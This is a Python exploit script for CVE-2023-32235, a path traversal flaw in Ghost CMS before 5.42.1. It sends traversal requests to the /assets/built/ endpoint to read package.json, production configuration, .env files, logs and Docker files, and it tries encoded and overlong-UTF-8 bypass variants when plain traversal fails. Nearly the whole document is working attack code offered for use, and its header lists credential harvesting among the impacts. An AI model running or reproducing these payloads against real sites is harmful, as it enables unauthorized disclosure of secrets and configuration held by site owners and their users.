#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
# Exploit Title: Ghost CMS 5.42.1 - Path Traversal
# Date: 2023-06-15
# Exploit Author:ibrahimsql (https://github.com/ibrahimsql)
# Vendor Homepage: https://ghost.org
# Software Link: https://github.com/TryGhost/Ghost
# Version: < 5.42.1
# Tested on: Kali Linux 2024.1 Windows 10, macOS Big Sur
# CVE: CVE-2023-32235
# Category: Web Application Security
# CVSS Score: 7.5 (High)
# Description:
# Ghost CMS before version 5.42.1 contains a path traversal vulnerability that allows
# remote attackers to read arbitrary files within the active theme's folder structure.
# The vulnerability exists in the /assets/built/ endpoint which improperly handles
# directory traversal sequences (../../) allowing unauthorized file access.
# This can lead to disclosure of sensitive configuration files, environment variables,
# and other critical application data.
# Impact:
# - Unauthorized file disclosure
# - Potential exposure of configuration files
# - Information gathering for further attacks
# - Possible credential harvesting
# Requirements: requests>=2.28.1
"""
import requests
import sys
import urllib.parse
from typing import Dict, List, Tuple, Optional
class ExploitResult:
def __init__(self):
self.success = False
self.payload = ""
self.response = ""
self.status_code = 0
self.description = "Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built/../..// directory traversal"
self.severity = "High"
class PathTraversalExploit:
def __init__(self, target_url: str, verbose: bool = True):
self.target_url = target_url.rstrip('/')
self.verbose = verbose
self.session = requests.Session()
self.session.headers.update({
'Accept': '*/*',
'Cache-Control': 'no-cache',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
def exploit(self) -> ExploitResult:
result = ExploitResult()
# path traversal payloads targeting Ghost CMS specific files
payloads = [
{"path": "../../package.json", "description": "Main package.json with dependencies", "sensitive": True},
{"path": "../../../package.json", "description": "Root package.json", "sensitive": True},
{"path": "../../config.production.json", "description": "Production configuration", "sensitive": True},
{"path": "../../config.development.json", "description": "Development configuration", "sensitive": True},
{"path": "../../.env", "description": "Environment variables", "sensitive": True},
{"path": "../../../.env", "description": "Root environment file", "sensitive": True},
{"path": "../../content/settings/routes.yaml", "description": "Routes configuration", "sensitive": False},
{"path": "../../content/logs/ghost.log", "description": "Ghost application logs", "sensitive": False},
{"path": "../../README.md", "description": "Documentation file", "sensitive": False},
{"path": "../../yarn.lock", "description": "Yarn lock file", "sensitive": False},
{"path": "../../package-lock.json", "description": "NPM lock file", "sensitive": False},
{"path": "../../../Dockerfile", "description": "Docker configuration", "sensitive": False},
{"path": "../../../docker-compose.yml", "description": "Docker compose file", "sensitive": False}
]
for payload in payloads:
target_url = f"{self.target_url}/assets/built/{payload['path']}"
if self.verbose:
print(f"[*] Testing path traversal: {payload['path']}")
try:
response = self.session.get(target_url, timeout=10)
if response.status_code == 200 and len(response.text) > 0:
if self._detect_file_read_success(response.text, payload['path']):
result.success = True
result.payload = payload['path']
result.response = response.text
result.status_code = response.status_code
if payload['sensitive']:
result.severity = "Critical"
if self.verbose:
print(f"[+] Successfully exploited path traversal: {payload['path']}")
print(f"[+] File content preview: {response.text[:200]}")
return result
except requests.RequestException as e:
if self.verbose:
print(f"[-] Request failed for {payload['path']}: {e}")
continue
# If no direct file read, try alternative bypass techniques
if not result.success:
self._try_path_traversal_bypasses(result)
return result
def _try_path_traversal_bypasses(self, result: ExploitResult):
"""Try various bypass techniques for path traversal"""
bypass_payloads = [
"..%2f..%2fpackage.json", # URL encoded
"..%252f..%252fpackage.json", # Double URL encoded
"....//....//package.json", # Double dot bypass
"..\\\\..\\\\package.json", # Windows style
".%2e/.%2e/package.json", # Mixed encoding
"..%c0%af..%c0%afpackage.json", # UTF-8 overlong encoding
]
for payload in bypass_payloads:
target_url = f"{self.target_url}/assets/built/{payload}"
try:
response = self.session.get(target_url, timeout=10)
if response.status_code == 200 and self._detect_file_read_success(response.text, payload):
result.success = True
result.payload = payload
result.response = response.text
result.status_code = response.status_code
if self.verbose:
print(f"[+] Path traversal successful using encoding bypass: {payload}")
break
except requests.RequestException:
continue
def _detect_file_read_success(self, body: str, payload: str) -> bool:
"""Check if the response indicates successful file read"""
# Check for common file content indicators
file_indicators = {
"package.json": ['"name"', '"version"', '"dependencies"', '"scripts"'],
".env": ["DATABASE_URL", "NODE_ENV", "GHOST_", "="],
"config": ['"database"', '"server"', '"url"', '"mail"'],
"routes.yaml": ["routes:", "collections:", "taxonomies:"],
"ghost.log": ["INFO", "ERROR", "WARN", "Ghost"],
"README": ["#", "##", "Ghost", "installation"],
"Dockerfile": ["FROM", "RUN", "COPY", "EXPOSE"],
"docker-compose": ["version:", "services:", "ghost:"]
}
# Check specific file type indicators
for file_type, indicators in file_indicators.items():
if file_type.lower() in payload.lower():
for indicator in indicators:
if indicator in body:
return True
# Generic file content indicators
generic_indicators = ["{", "}", "[", "]", ":", "=", "version", "name", "description"]
count = sum(1 for indicator in generic_indicators if indicator in body)
# If multiple generic indicators found, likely a valid file
return count >= 3
def main():
if len(sys.argv) < 2:
print("Usage: python3 CVE-2023-32235.py ")
print("Example: python3 CVE-2023-32235.py http://target.com")
return
exploit = PathTraversalExploit(sys.argv[1], verbose=True)
result = exploit.exploit()
print("\n=== CVE-2023-32235 Path Traversal Exploit Results ===")
print(f"Target: {exploit.target_url}")
print(f"Success: {result.success}")
print(f"Severity: {result.severity}")
print(f"Description: {result.description}")
if result.success:
print(f"Payload: {result.payload}")
print(f"Status Code: {result.status_code}")
print(f"Response Preview: {result.response[:500]}")
else:
print("Exploit failed - target may not be vulnerable")
if __name__ == "__main__":
main()